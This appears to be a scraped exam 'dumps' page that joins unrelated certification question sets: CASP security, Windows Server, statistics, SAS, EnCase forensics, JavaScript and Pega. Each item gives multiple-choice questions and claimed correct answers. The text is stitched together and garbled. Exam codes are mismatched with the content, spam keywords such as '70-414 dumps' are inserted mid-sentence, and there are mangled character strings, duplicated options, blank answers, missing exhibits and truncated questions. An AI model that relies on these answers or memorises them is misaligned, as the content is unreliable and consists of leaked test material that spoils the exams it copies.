An intruder was recently discovered inside the data center, a highly sensitive area. To gain access, the intruder circumvented numerous layers of physical and electronic security measures. Company leadership has asked for a thorough
review of physical security controls to prevent this from happening again. Which of the following departments are the MOST heavily invested in rectifying the problem? (Select THREE).
A. Facilities management
B. Human resources
C. Research and development
D. Programming
E. Data center operations
F. Marketing
G. Information technology
Correct Answer: AEG
Explanation

QUESTION 38
A company is in the process of outsourcing its customer relationship management system to a cloud provider. It will host the entire organization’s customer database. The database will be accessed by both the company’s users and its
customers. The procurement department has asked what security activities must be performed for the deal to proceed. Which of the following are the MOST appropriate security activities to be performed as part of due diligence? (Select
TWO).
A. Physical penetration test of the datacenter to ensure there are appropriate controls.
B. Penetration testing of the solution to ensure that the customer data is well protected.
C. Security clauses are implemented into the contract such as the right to audit.
D. Review of the organizations security policies, procedures and relevant hosting certifications.
E. Code review of the solution to ensure that there are no back doors located in the software.
Correct Answer: CD
Explanation

QUESTION 39
Which of the following activities is commonly deemed “OUT OF SCOPE” when undertaking a penetration test?
A. Attempting to perform blind SQL injection and reflected cross-site scripting attacks
B. Undertaking network-based denial of service attacks in production environment
C. Test password complexity of all login fields and input validation of form fields
D. Reverse engineering any thick client software that has been provided for the test
Correct Answer: B
Explanation
Explanation/Reference:

QUESTION 40
A new web based application has been developed and deployed in production. A security engineer decides to use an HTTP interceptor for testing the application. Which of the following problems would MOST likely be uncovered by this tool?
A. The tool could show that input validation was only enabled on the client side
B. The tool could enumerate backend SQL database table and column names
C. The tool could force HTTP methods such as DELETE that the server has denied
D. The tool could fuzz the application to determine where memory leaks occur
Correct Answer: A
Explanation

QUESTION 41
During a recent audit of servers, a company discovered that a network administrator, who required remote access, had deployed an unauthorized remote access application that communicated over common ports already allowed through the
firewall. A network scan showed that this remote access application had already been installed on one third of the servers in the company. Which of the following is the MOST appropriate action that the company should take to provide a more
appropriate solution?
A. Implement an IPS to block the application on the network
B. Implement the remote application out to the rest of the servers
C. Implement SSL VPN with SAML standards for federation
D. Implement an ACL on the firewall with NAT for remote access
Correct Answer: C
Explanation

QUESTION 42
Which of the following is the BEST place to contractually document security priorities, responsibilities, guarantees, and warranties when dealing with outsourcing providers?
A. SLA
B. MOU
C. OLA
D. NDA
Correct Answer: A
Explanation
Explanation/Reference:

QUESTION 43
Using SSL, an administrator wishes to secure public facing server farms in three subdomains: dc1.east.company.com, dc2.central.company.com, and dc3.west.company.com. Which of the following is the number of wildcard SSL certificates
that should be purchased?
A. 1
B. 2
C. 3
D. 6Correct Answer: C
Explanation
Explanation/Reference:

QUESTION 44
The helpdesk department desires to roll out a remote support application for internal use on all company computers. This tool should allow remote desktop sharing, system log gathering, chat, hardware logging, inventory management, and
remote registry access. The risk management team has been asked to review vendor responses to the RFQ. Which of the following questions is the MOST important?
A. What are the protections against MITM?
B. What accountability is built into the remote support application?
C. What encryption standards are used in tracking database?
D. What snapshot or “undo” features are present in the application?
E. What encryption standards are used in remote desktop and file transfer functionality?
Correct Answer: B
Explanation

QUESTION 45
The Chief Executive Officer (CEO) has asked the IT administrator to protect the externally facing web server from SQL injection attacks and ensure the backend database server is monitored for unusual behavior while enforcing rules to
terminate unusual behavior. Which of the following would BEST meet the CEO’s requirements?
A. WAF and DAM
B. UTM and NIDS
C. DAM and SIEM
D. UTM and HSM
E. WAF and SIEM
Correct Answer: A
Explanation

QUESTION 46
A security officer is leading a lessons learned meeting. Which of the following should be components of that meeting? (Select TWO).
A. Demonstration of IPS system
B. Review vendor selection process
C. Calculate the ALE for the event
D. Discussion of event timeline
E. Assigning of follow up items
Correct Answer: DE
Explanation

QUESTION 47
The helpdesk manager wants to find a solution that will enable the helpdesk staff to better serve company employees who call with computer-related problems. The helpdesk staff is currently unable to perform effective troubleshooting and
relies on callers to describe their technology problems. Given that the helpdesk staff is located within the company headquarters and 90% of the callers are telecommuters, which of the following tools should the helpdesk manager use to
make the staff more effective at troubleshooting while at the same time reducing company costs? (Select TWO).
A. Web cameras
B. Email
C. Instant messaging
D. BYOD
E. Desktop sharing
F. Presence
Correct Answer: CE
Explanation

QUESTION 48
A company has decided to move to an agile software development methodology. The company gives all of its developers security training. After a year of agile, a management review finds that the number of items on a vulnerability scan has
actually increased since the methodology change. Which of the following best practices has MOST likely been overlooked in the agile implementation?
A. Penetration tests should be performed after each sprint.
B. A security engineer should be paired with a developer during each cycle.
C. The security requirements should be introduced during the implementation phase.
D. The security requirements definition phase should be added to each sprint.
Correct Answer: D
Explanation

QUESTION 49
CORRECT TEXT
pass4itsure CAS-002 question
Correct Answer: 192.18.1.0/24 any 192.168.20.0/24 3389 any
Explanation
Explanation/Reference:

QUESTION 50
CORRECT TEXT
An administrator wants to install a patch to an application. Given the scenario, download, verify and install the patch in the most secure manner. Instructions The last install that is completed will be the final submission
pass4itsure CAS-002 question
Correct Answer: You need to check the hash value of download software with md5 utility.
Explanation
Explanation/Reference

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Exam Code: 70-414
Exam Name: Implementing an Advanced Server Infrastructure
Updated: Sep 17, 2017
Q&As: 243

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QUESTION 1
You need to recommend a solution that meets the technical requirements for DHCP.
What should you include in the recommendation for each office?
A. DHCP failover
B. Network Load Balancing (NLB)
C. DHCP server policies
D. IP Address Management (IPAM)
70-414 exam Correct Answer: A
QUESTION 2
You need to recommend a solution for updating the virtualization hosts. The solution must meet the
visualization requirements.
What should you include in the recommendation?
A. Cluster-Aware Updating
B. WSUS
C. System Center Updates Publisher 2011
D. System Center 2012 Configuration Manager
Correct Answer: A
QUESTION 3
You need to ensure that the developers can manage their own virtual machines.
Solution: You perform the following 70-414 dumps tasks:
In Virtual Machine Manager, you create a new user role named DevUsers that uses
the Application Administrator profile.
You add the virtual machines to the DevUsers role.
You grant Checkpoint permissions to the DevUsers role.
You install and configure App Controller.
You distribute the App Controller console URL to the developers.
Does this meet the goal?
A. Yes
B. No
Correct Answer: A
 QUESTION 4
HOTSPOT
You plan to configure Windows Network Load Balancing (NLB) for a company. You
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Use the drop-down menus to select the answer choice that answers each question
based on the information presented in the graphic.
Hot Area:
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QUESTION 5
DRAG DROP
You need to implement VM-SQLclusterl.contoso.com.
Which three actions should you perform in sequence? To answer, move the appropriate
70-414 pdf actions from the list of actions to the answer area and arrange them in the correct order.
Select and Place:
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QUESTION 6
You need to automatically restart the appropriate web service on DETCRL01 and
CHICRL01 if the web service is stopped. Solution: You create a diagnostic task in SCOM and configure it to start the Server service. Does this meet the goal?
A. Yes
B. No
Correct Answer: B
QUESTION 7
Your network contains an Active Directory domain named contoso.com.
You currently have an intranet web site that is hosted by two Web servers named Web1
and Web2. Web1 and Web2 run Windows Server 2012. Users use the name intranet.contoso.com to request the web site and use DNS round robin.
You plan to implement the Network Load Balancing (NLB) feature on Web1 and Web2.
You need to recommend changes to the DNS records for the planned implementation.
What should you recommend?
A. Delete one of the host (A) records named Intranet. Modify the remaining host (A)
record named Intranet.
B. Delete both host (A) records named Intranet. Create a pointer (PTR) record for each
Web server.
C. Create a new host (A) record named Intranet. Remove both host (A) records for Web1
and Web2.
D. Create a service locator (SRV) record. Map the SRV record to Intranet.
70-414 vce Correct Answer: A
QUESTION 8
You need to recommend changes to the existing environment to meet the PII requirement.
What should you recommend?
A. In the Default Domain Policy, configure auto-enrollment for the S/MIME certificates from ProsewareCA.
B. Create an AD RMS cluster in Proseware, and then provision the user accounts in Proseware for the
Fabrikam users.
C. Configure Active Directory Federation Services (AD FS) in Fabrikam, and then install a web application
proxy in Proseware.
D. In the Default Domain Policy, configure auto-enrollment for the S/MIME certificates from FabrikamCA.
Correct Answer: B
QUESTION 9
You need to recommend a network 70-414 exam configuration for the newly deployed Hyper-V hosts used by Customer1. On which network adapter should you recommend performing each configuration? To answer, select the appropriate network adapter for each configuration in the answer area.
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QUESTION 10
You need to recommend a solution to maintain a copy of App2. The solution must meet the application requirements and must minimize additional hardware purchases. What should you include in the recommendation?
A. Single-site Failover Clustering
B. Hyper-V replicas
C. Multi-site Failover Clustering
D. Distributed File System (DFS) Replication
Correct Answer: B
QUESTION 11
You need to recommend which type of clustered file server and which type of file share must be used in the Hyper-V cluster that hosts App2. The solution must meet the technical requirements and the 70-414 dumps security requirements.
What should you recommend?
A. A scale-out file server that uses an NFS share
B. A file server that uses an SMB share
C. A scale-out file server that uses an SMB share
D. A file server that uses an NFS share
Correct Answer: C
QUESTION 12
You install the Service Manager Self-Service Portal on a server named CONTOSOSSP1.
Users report that they receive access denied messages when they try to connect to the portal. You must grant users the minimum required permissions. You need to ensure that all users in the Contoso domain can access the Service Manager Self-Service Portal.
What should you do?
A. In Active Directory, create a new group named PortalUsers. Add the PortalUsers group to the Contoso \Domain Users group, and then add the group to the local users group on CONTOSOSSP1.
B. Using the account that you used to install the Self-Service portal, grant the Contoso\Domain Users group Read permissions to the portal.
C. In Service Manager, create a new user role named PortalUsers. Grant the PortalUsers role rights to all catalog items, and then add the Contoso\Domain Users Active Directory Domain Services group to the
PortalUsers role.
D. Using the account that you used to install the Self-Serviceportal, grant the Contoso\Domain Users group Contribute permissions to the portal.
70-414 pdf Correct Answer: D

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QUESTION 86
An audit manager has just returned from an executive training program and has suggested that the audit department develop a mathematical model to help identify factors that may be causing changes in the cost of production. According to the manager, the model should recognize that the company currently has three separate production (cost) centers. Which of the following approaches would best provide the analysis suggested by the audit manager?
A. Develop a classical variables sampling estimate of cost of production per department, with the sample stratified by the dollar value of each product produced.
B. Develop a 3-year ratio analysis of the cost of production compared to the cost of raw inventory across the three departments.
C. Develop a multiple regression analysis of production costs, including such variables as raw material inventory costs, number of employees in the department, and overtime pay.
D. Develop a linear regression analysis relating the cost of production to the cost of goods sold.
70-761 exam Correct Answer: C
Explanation
Explanation/Reference:
Explanation:
Regression analysis extends correlation to find an equation for the linear relationship among variables. The behavior of a dependent variable, such as cost of production, is explained in terms of one or more independent variables (for example, raw material costs, employees, overtime). Thus, multiple regression analysis determines functional relationships among quantitative variables.
QUESTION 87
A bank has two drive-in lanes to serve customers: The technique used in analyzing the problem is best described as:
A. Simulation theory.
B. Integrated autoregressive-moving average (ARIMA) modeling.
C. Linear programming.
D. Differential calculus.
Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Answer (A) is correct. Simulation is a technique for experimenting with logical/mathematical models using a computer. Despite the power of mathematics, many
problems cannot be solved by known analytical methods because of the behavior of the variables and the complexity of their interactions. However, the performance of a quantitative model under uncertainty may be investigated by randomly selecting values for each of the variables in the model (based on the probability distribution of each variable) and then calculating the value of the solution. If this process is performed a large number of times, the distribution of results from the model will be obtained.
QUESTION 88
A bank has two drive-in lanes to serve customers:
The process of making sure that the model measures what it is supposed to measure is called:
A. Statistical inference.
B. Hypothesis testing.
C. Confidence coefficient analysis.
D. Validation.
70-761 dumps Correct Answer: D
Explanation
Explanation/Reference:
Explanation:
Validation is a step in the simulation procedure. Some assurance is needed that the results of the experiment will be realistic. This assurance requires validation of the model –often using historical data. If the model gives results equivalent to what actually happened, the model is historically valid. There is still some risk, however, that changes could make the model invalid for the future.
QUESTION 89
The marketing department of a company is deciding on the price to charge for a key product. In setting this price, marketing needs to consider the price that a major competitor will charge for a similar product because the competitor’s price will affect the demand for the company’s product. Similarly, in setting its price, the competitor will consider what the company will charge. What is an appropriate mathematical technique for analyzing such a decision?
A. Game theory.
B. Probability theory.
C. Linear programming.
D. Sensitivity analysis.
Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Game (or decision) theory is a mathematical approach to decision making when confronted with an enemy or competitor. Games are classified according to the number of players and the algebraic sum of the payoffs. In a two-person game, if the payoff is given by the loser to the winner, the algebraic sum is zero and the game is called a zero-sum game. If it is possible for both players to profit, however, the game is a positive-sum game. Mathematical models have been developed to select optimal strategies for certain simple games.
QUESTION 90
Because of the large number of factors that could affect the demand for its new product, interactions among these factors, and the probabilities associated with different values of these factors, the marketing department would like to develop a computerized model for projecting demand for this product. By using a random number procedure to generate values for the different factors .it will be able to estimate the distribution of demand for this new product. This method of estimating the distribution of demand for the new product is called:
A. Monte Carlo simulation.
B. Linear programming.
C. Correlation analysis.
D. Differential analysis.
70-761 pdf Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Simulations that use a random-number procedure to generate values for the inputs areMonte Carlo simulations.
QUESTION 91
A large fishing operation has information on the interval, time, and probabilities of shrimp schools staying beneath their fishing boats. In order to use this information to predict when and where to send their boats, which of the following techniques should be used?
A. Simulation.
B. Least squares.
C. Queuing theory.
D. Exponential smoothing.
Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Simulation is a technique for experimenting with logical and mathematical models using a computer. Because of the behavior of the many variables involved and the complexity of their interactions, many problems cannot be solved using simple algebraic formulas. The availability of computer spreadsheets makes the construction of simulation models a practical alternative for all entities.
QUESTION 92
A cost-volume-profit model developed in a dynamic environment determined that the estimated parameters used may vary between limits. Subsequent testing of
the model with respect to all possible values of the estimated parameters is termed:
A. A sensitivity analysis.
B. Statistical estimation.
C. Statistical hypothesis testing.
D. A time-series study.
70-761 vce Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
After a problem has been formulated into any mathematical model, it may be subjected to sensitivity analysis. Sensitivity analysis examines how the model’s
outcomes change as the parameters change.
QUESTION 93
A company is deciding whether to purchase an automated machine to manufacture one of its products. Expected net cash flows from this decision depend on several factors, interactions among those factors, and the probabilities associated with different levels of those factors. The method that the company should use to evaluate the distribution of net cash flows from this decision and changes in net cash flows resulting from changes in levels of various factors is:
A. Simulation and sensitivity analysis.
B. Linear programming.
C. Correlation analysis.
D. Differential analysis.
Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Simulation is a technique for experimenting with logical and mathematical models using a computer. Sensitivity analysis examines how the model’s outcomes change as the parameters change.

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Exam Code: 70-410
Exam Name: Installing and Configuring Windows Server 2012
Updated: Sep 06, 2017
Q&As: 503

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QUESTION 25
You have a Hyper-V host named Server1. Server1 hosts a virtual machine named VM1. You view the properties of VM1 as shown in the following exhibit. (Click the Exhibit button.)

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You need to configure bandwidth management for VM1. Which three actions should you perform in sequence? (To answer, move the appropriate three actions from the list of actions to the answer area and arrange them in the correct order.)
Select and Place:

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70-410 exam Correct Answer:

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QUESTION 26
Your network contains an Active Directory domain named contoso.com. The domain contains a member server named Server1. Server1 runs 70-410 dumps Windows Server 2012 R2 and has the DHCP Server server role installed. You create two IPv4 scopes on Server1. The scopes are configured as shown in the following table.

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The DHCP clients in Subnet_Tor can connect to the client computers in Subnet_Mtl by using an IP address or a FQDN. You discover that the DHCP clients in Subnet_Mtl can connect to client computers in Subnet_Tor by using an IP address only. You need to ensure that the DHCP clients in both subnets can connect to any other DHCP client by using a FQDN.
What should you add?
A. The 015 DNS Domain Name option to Subnet_Mtl
B. The 015 DNS Domain Name option to Subnet_Tor
C. The 006 DNS Servers option to Subnet_Mtl
D. The 006 DNS Servers option to Subnet_Tor
Correct Answer: C
QUESTION 27
Your network contains an Active Directory domain named contoso.com. The domain contains a server
named Server1. The domain contains a standalone server named Server2 that is located in a perimeter
network. Both servers run Windows Server 2012 R2.
You need to manage Server2 remotely from Server1.
What should you do?
A. From Server2, run the Enable-PsRemoting cmdlet.
B. From Server1, run the winrni command.
C. From Server2, run the winrm command.
D. From Server1, run the Enable-PsRemoting cmdlet.
Correct Answer: A
QUESTION 28
A printer named Printer1 is configured as shown in the exhibit. (Click the Exhibit button.) 70-410 dumps

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Question: 12
Given the following SAS statement:
%let idcode = Prod567;
Which one of the following statements stores the value 567 in the macro variable CODENUM?
A. %let codenum = substr(&idcode,length(&idcode)-2);
B. %let codenum = substr(&idcode,length(&idcode)-3);
C. %let codenum = %substr(&idcode,%length(&idcode)-2);
D. %let codenum = %substr(&idcode,%length(&idcode)-3);
Answer: C
Question: 13
The following SAS program is submitted:
data new (bufsize = 6144 bufno = 4);
set old;
run;
Which one of the following describes the difference between the usage of BUFSIZE= and
BUFNO= options?
A. BUFSIZE= specifies the size of the input buffer in bytes; BUFNO= specifies the number of
input buffers.
B. BUFSIZE= specifies the size of the output buffer in bytes; BUFNO= specifies the number of
output buffers.
C. BUFSIZE= specifies the size of the output buffer in kilobytes; BUFNO= specifies the number
of input buffers.
D. BUFSIZE= specifies the size of the output buffer in kilobytes; BUFNO= specifies the number
of output buffers.
70-410 vce Answer: B
Question: 14
Consider the following SAS log:
229 data sasuser.ranch sasuser.condo / view = sasuser.ranch;
230 set sasuser.houses;
231 if style = ‘RANCH’ then output sasuser.ranch;
232 else if style = ‘CONDO’ then output sasuser.condo;
233 run;
NOTE: DATA STEP view saved on file SASUSER.RANCH.
NOTE: A stored DATA STEP view cannot run under a different operating system.
234
235 proc print data = sasuser.condo;
ERROR: File SASUSER.CONDO.DATA does not exist.
236 run;
NOTE: The SAS System stopped processing this step because of errors.
Which one of the following explains why the PRINT procedure fails?
A. SASUSER.CONDO is a stored DATA step program.
B. A SAS data file and SAS data view cannot be created in the same DATA step.
C. A second VIEW=SASUSER.CONDO option was omitted on the DATA statement.
D. The view SASUSER.RANCH must be processed before SASUSER.CONDO is created.
Answer: D
Question: 15
Which one of the following is an advantage of creating and using a SAS DATA step view?
A. It can store an index.
B. It always accesses the most current data.
C. It works quickly through multiple passes of the data.
D. It is useful when the underlying data file structure changes.
70-410 exam Answer: B
Question: 16
Given the following SAS data sets ONE and TWO:
ONE TWO
YEAR QTR BUDGET YEAR QTR SALES
—————————— —————————-
2001 3 500 2001 4 300
2001 4 400 2002 1 600
2002 1 700
The following SAS program is submitted:
proc sql;
select one.*, sales
from one, two;
quit;
Which one of the following reports is generated?
A. YEAR QTR BUDGET SALES
——————————————
2001 4 400 300
2002 1 700 600
B. YEAR QTR BUDGET SALES
———————————————
2001 3 500 .
2001 4 400 300
2002 1 700 600
C. YEAR QTR BUDGET SALES
—————————————–
2001 3 500 300
2001 4 400 300
2002 1 700 600
D. YEAR QTR BUDGET SALES
——————————————
2001 3 500 300
2001 4 400 300
2002 1 700 300
2001 3 500 600
2001 4 400 600
2002 1 700 600
Answer: D
Question: 17
Given the following SAS data set ONE:
ONE
NUM VAR
——————
1 A
2 B
3 C
Which one of the following SQL programs deletes the SAS data set ONE?
A. proc sql;
delete table one;
quit;
B. proc sql;
alter table one
drop num, var;
quit;
C. proc sql;
drop table one;
quit;
D. proc sql;
delete from one;
quit;
Answer: C
Question: 18
Given the following SAS data sets ONE and TWO:
ONE TWO
YEAR QTR BUDGET YEAR QTR SALES
——————————- ———————————
2001 3 500 2001 4 300
2001 4 400 2002 1 600
2002 1 700
The following SAS program is submitted:
proc sql;
select one.*, sales
from one, two
where one.year = two.year;
quit;
Which one of the following reports is generated?
A. YEAR QTR BUDGET SALES
———————————————————
2001 4 400 300
2002 1 700 600
B. YEAR QTR BUDGET SALES
———————————————————-
2001 3 500 .
2001 4 400 300
2002 1 700 600
C. YEAR QTR BUDGET SALES
————————————————————
2001 3 500 300
2001 4 400 300
2002 1 700 600
D. YEAR QTR BUDGET SALES
————————————————————
2001 3 500 300
2001 4 400 300
2002 1 700 300
2001 3 500 600
2001 4 400 600
2002 1 700 600
70-410 dumps Answer: C
Question: 19
The SAS data set TEMP has the following distribution of values for variable A:
A Frequency
1 500,000
2 500,000
6 7,000,000
8 3,000
Which one of the following SAS programs requires the least CPU time to be processed?
A. data new;
set temp;
if a = 8 then
b = ‘Small ‘;
else if a in(1, 2) then
b = ‘Medium’;
else if a = 6 then
b = ‘Large’;
run;
B. data new;
set temp;
if a in (1, 2) then
b = ‘Medium’;
else if a = 8 then
b = ‘Small’;
else if a = 6 then
b = ‘Large’;
run;
C. data new;
set temp;
if a = 6 then
b = ‘Large ‘;
else if a in (1, 2) then
b = ‘Medium’;
else if a = 8 then
b = ‘Small’;
D. data new;
set temp;
if a = 6 then
b = ‘Large ‘;
if a in (1, 2) then
b = ‘Small’;
run;
Answer: C
Question: 20
The following SAS program is submitted:
%let value = 9;
%let value2 = 5;
%let newval = %eval(&value / &value2);
Which one of the following is the resulting value of the macro variable NEWVAL?
A. 1
B. 2
C. 1.8
D. null
Answer: A
Question: 21
The following SAS program is submitted:
%let lib = %upcase(sasuser);
proc sql;
select nvar
from dictionary.tables
where libname = “&lib”;
quit;
Given that several SAS data sets exist in the SASUSER library, which one of the following is
generated as output?
A. no result set
B. a syntax error in the log
C. a report showing the names of each table in SASUSER
D. a report showing the number of columns in each table in SASUSER
70-410 pdf Answer: D
Question: 22
Given the following SAS data set ONE:
ONE
GROUP SUM
————————-
A 765
B 123
C 564
The following SAS program is submitted:
data _null_;
set one;
call symput(group,sum);
run;
Which one of the following is the result when the program finishes execution?
A. Macro variable C has a value of 564.
B. Macro variable C has a value of 1452.
C. Macro variable GROUP has a value of 564.
D. Macro variable GROUP has a value of 1452.
Answer: A
Question: 23
The SAS data set ONE consists of five million observations and has 25 variables. Which one of
the following SAS programs successfully creates three new variables TOTREV, TOTCOST, and
PROFIT and requires the least CPU time to be processed?
A. data two;
set one;
totrev = sum(price * quantity);
totcost = sum(fixed,variable);
profit = sum(totrev,otcost);
if totrev > 1000;
run;
B. data two;
set one;
totrev = sum(price * quantity);
if totrev > 1000;
totcost = sum(fixed,variable);
profit = sum(totrev,otcost);
run;
C. data two;
set one;
totrev = sum(price * quantity);
where totrev > 1000;
totcost = sum(fixed,variable);
profit = sum(totrev,otcost);
run;
D. data two;
set one;
where totrev > 1000;
totrev = sum(price * quantity);
totcost = sum(fixed,variable);
profit = sum(totrev,otcost);
run;
70-410 vce Answer: B

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Exam Code: 70-765
Exam Name: Provisioning SQL Databases
Q&As: 105

 

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QUESTION 65
Select the appropriate name for the highlighted area of the binary numbers.
A. Word
B. Dword
C. Byte
D. Nibble
E. Bit
70-765 exam Correct Answer: B
Explanation
QUESTION 66
The EnCase methodology dictates that the lab drive for evidence have a __________ prior to making an image.
A. FAT 16 partition
B. NTFS partition
C. unique volume label
D. bare, unused partition
Correct Answer: C
Explanation
QUESTION 67
In hexadecimal notation, one byte is represented by _____ character(s).
A. 2
B. 1
C. 8
D. 4
70-765 dumps Correct Answer: A
Explanation
QUESTION 68
A personal data assistant was placed in a evidence locker until an examiner has time to examine it. Which of the following areas would require special attention?
A. Chain-of-custody
B. Storage
C. There is no concern
D. Cross-contamination
Correct Answer: B
Explanation
QUESTION 69
When a non-compressed evidence file is reacquired with compression, the acquisition and verification hash values for the evidence will remain the same for both files.
A. True
B. False
70-765 pdf Correct Answer:
Explanation
QUESTION 70
To generate an MD5 hash value for a file, EnCase:
A. Computes the hash value including the logical file and filename.
B. Computes the hash value including the physical file and filename.
C. Computes the hash value based on the logical file.
D. Computes the hash value based on the physical file.
Correct Answer: C
Explanation
QUESTION 71
Which of the following is found in the FileSignatures.ini configuration file
A. The results of a hash analysis
B. The information contained in the signature table
C. The results of a signature analysis
D. Pointers to an evidence file
70-765 vce Correct Answer: B
Explanation
QUESTION 72
During the power-up sequence, which of the following happens first?
A. The boot sector is located on the hard drive.
B. Theower On Self-Test.? 7KH ? RZHU2Q6HOI7HVW
C. The floppy drive is checked for a diskette.
D. The BIOS on an add-in card is executed.
Correct Answer: B
Explanation
QUESTION 73
A restored floppy diskette will have the same hash value as the original diskette.
A. True
B. False
70-765 exam Correct Answer:
Explanation
QUESTION 74
A hard drive was imaged using EnCase. The original drive was placed into evidence. The restore feature was used to make a copy of the original hard drive. EnCase verifies the restored copy using:
A. An MD5 hash
B. A 32 bit CRC
C. Nothing. Restored volumes are not verified.
D. A running log
Correct Answer: A
Explanation
QUESTION 75
To later verify the contents of an evidence file 7RODWHUYHULI\WKHFRQWHQWVRIDQHYLGHQFHILOH
A. EnCase writes a CRC value for every 64 sectors copied.
B. EnCase writes a CRC value for every 128 sectors copied.
C. EnCase writes an MD5 hash value every 64 sectors copied.
D. EnCase writes an MD5 hash value for every 32 sectors copied.
70-765 dumps Correct Answer: A
Explanation
QUESTION 76
Assume that MyNote.txt has been deleted. The FAT file system directory entry for that file has been overwritten. The data for MyNote.txt is now:
A. Overwritten
B. Allocated
C. Cross-linked
D. Unallocated
Correct Answer: D
Explanation
QUESTION 77
When an EnCase user double-clicks on a valid .jpg file, that file is:
A. Copied to the default export folder and opened by an associated program.
B. Renamed to JPG_0001.jpg and copied to the default export folder.
C. Copied to the EnCase specified temp folder and opened by an associated program.
D. Opened by EnCase.
70-765 pdf Correct Answer: C
Explanation
QUESTION 78
When undeleting a file in the FAT file system, EnCase will check the _____________ to see if it has already been overwritten.
A. data on the hard drive
B. deletion table
C. directory entry
D. FAT
Correct Answer: D
Explanation
QUESTION 79
You are assigned to assist with the search and seizure of several computers. The magistrate ordered that the computers cannot be seized unless they are found to contain any one of ten previously identified images. You currently have the ten images in JPG format. Using the EnCase methodology, how would you best handle this situation?
A. UseFastBloc or a network/parallel port cable to preview the hard drives. Go to the Gallery view and search for the previously identified images.
B. UseFastBloc or a network/parallel port cable to acquire forensic images of the hard drives, then search the evidence files for the previously identified images.
C. UseFastBloc or a network/parallel port cable to preview the hard drives. Conduct a hash analysis of the files on the hard drives, using a hash library containing the hash values of the previously identified images.
D. Use an EnCase DOS boot disk to conduct a text search for child porn. Use an EnCase DOS boot disk to conduct a text search for child porn?
70-765 vce Correct Answer: C
Explanation
QUESTION 80
The EnCase signature analysis is used to perform which of the following actions?
A. Analyzing the relationship of a file signature to its file extension.Analyzing the relationship of a file signature to its file extension.
B. Analyzing the relationship of a file signature to its file header.Analyzing the relationship of a file signature to its file header.
C. Analyzing the relationship of a file signature to a list of hash sets.Analyzing the relationship of a file signature to a list of hash sets.
D. Analyzing the relationship of a file signature to its computed MD5 hash value.Analyzing the relationship of a file signature to its computed MD5 hash value.
Correct Answer: A
Explanation
QUESTION 81
A SCSI host adapter would most likely perform which of the following tasks?
A. Configure the motherboard settings to the BIOS.
B. None of the above.
C. Set up the connection of IDE hard drives.
D. Make SCSI hard drives and other SCSI devices accessible to the operating system.
70-765 exam Correct Answer: D
Explanation
QUESTION 82
A CPU is:
A. A chip that would be considered the brain of a computer, which is installed on a motherboard.
B. A Central Programming Unit.
C. A motherboard with all required devices connected.
D. An entire computer box, not including the monitor and other attached peripheral devices.
Correct Answer: A
Explanation

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Question No : 23 HOTSPOT – (Topic 1)  You are creating a function by using JavaScript. The function accepts an object as the parameter and returns a string that identifies the data type of the object. You have the following requirements:
The function must return “Number” if the object is a number.
The function must return “String” if the object is a string.
The function must return “Unknown” if the object is neither a number nor a string. You need to implement the function to meet the requirements. How should you build the code segment? (To answer, select the appropriate options from the drop-down lists in the answer area.)
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Question No : 24 – (Topic 1) You need to test the value of the following variable in JavaScript. var length = “75”; A block of code must execute if the length equals 75 regardless of the data type. You need to use the statement that meets this requirement. Which lines of code should you use? (Each correct answer presents a complete solution. Choose two.)
A. if (length = = = 75)
B. if (length = = 75)
C. if (length! = 75)
D. if (length = = “75”)
70-480 exam Answer: B,D
Question No : 25 – (Topic 1)  You are developing an application that uses a third-party JavaScript library named doWork(). The library occasionally throws an “object is null or undefined” error with an error code of -2146823281.
The application must:
Extract and handle the exceptions thrown by doWork() Continue normal program execution if other exceptions occur You need to implement the requirements. Which code segment should you use?
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A. Option A
B. Option B
C. Option C
D. Option D
Answer: C
Question No : 26 – (Topic 1)  You are troubleshooting a web page that includes the following code. (Line numbers are included for reference only.)
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What is displayed in the alert from line 11?
A. Div
B. Function
C. Button
D. Document
70-480 dumps Answer: C
Question No : 27 – (Topic 1)  You are developing a web application that consumes services from a third-party application. A web worker processes the third-party application requests in the background. A page in the application instantiates the web worker process. You need to establish two-way communications between the web worker process and the page.
Which two actions will achieve this goal? (Each correct answer presents a complete solution. Choose two.)
A. From the web worker, use the onconnect event handler of the main page to capture events.
B. From the main page, use the onmessage event handler of the web worker to capture
events.
 C. From the web worker, use the onmessage event handler of the main page to capture
events.
D. From the main page, use the onconnect event handler of the web worker to capture
events.
Answer: B,C
Reference:
Question No : 28 – (Topic 1)  You are developing an HTML5 web application that displays customer mailing address information. The application loads addresses from a web service by using AJAX. The following code defines a Customer object and loads address data.
70-480 dumps

You need to implement the loadAddress function. Which code segment should you use?
70-480 dumps
A. Option A
B. Option B
C. Option C
D. Option D
70-480 pdf Answer: C

QUESTION: 29
Other than an activity, which rule type can be used to populate a declare page? (Choose One)
A. Data Transform
B. Report Definition
C. Decision Table
D. Database
E. All of the above can be used to populate a declare page
Answer: B
QUESTION: 30
When creating a list-type report, which attribute can we NOT specify about the data returned by the report? (Choose One)
A. The format of the data
B. The sort order of the data
C. Whether the data appears on a chart
D. Whether the data should appear in the report or not
70-480 vce Answer: C
QUESTION: 31 A manager can create a report in which of the following categories? (Choose One)
A. Only a standard category
B. Only a shared category
C. Only a personal category
D. A shared category or a personal category
E. A standard category or a personal category
F. A standard category, a shared category, or a personal category
Answer: D
QUESTION: 32
Which of the following can be used to define a column in a report? (Choose Two)
A. Another report
B. A SQL function
C. A Java function
D. An exposed property
E. A class join
70-480 exam Answer: B, D
QUESTION: 33
Which of the following definitions is incorrectly matched with one of the 6R’s of PRPC? (Choose One)
A. ResolvinG.Complete the work, then update downstream systems promptly through automated process and automated support of users
B. ReceivinG.Accept and capture the essential data describing work from multiple sources
C. ReportinG.Communicate status, requests for information, and progress to the work originator and to other interested people involved in the work
D. ResearchinG.Support analysis and decision-making by providing access to external systems and databases
Answer: C
QUESTION: 34
(True or False) A business process describes and controls how business is conducted.
A. True
B. False
70-480 dumps Answer: A
QUESTION: 35
The elements that make up a Business Process Management application include (Choose Three)
A. process
B. user interface
C. forms
D. logic and decisions
E. analyzing
F. routing
Answer: A, B, D
QUESTION: 36
Which of the following are true statements regarding a work type? (Choose Three)
A. A work type represents a fundamental unit of work to be processed and resolved
B. A work type is a template used to create a work item
C. A work type can be assigned to a user
D. A work type defines the process used to complete, or resolve, work
E. A work type has a unique status
70-480 pdf Answer: A, B, D
QUESTION: 37
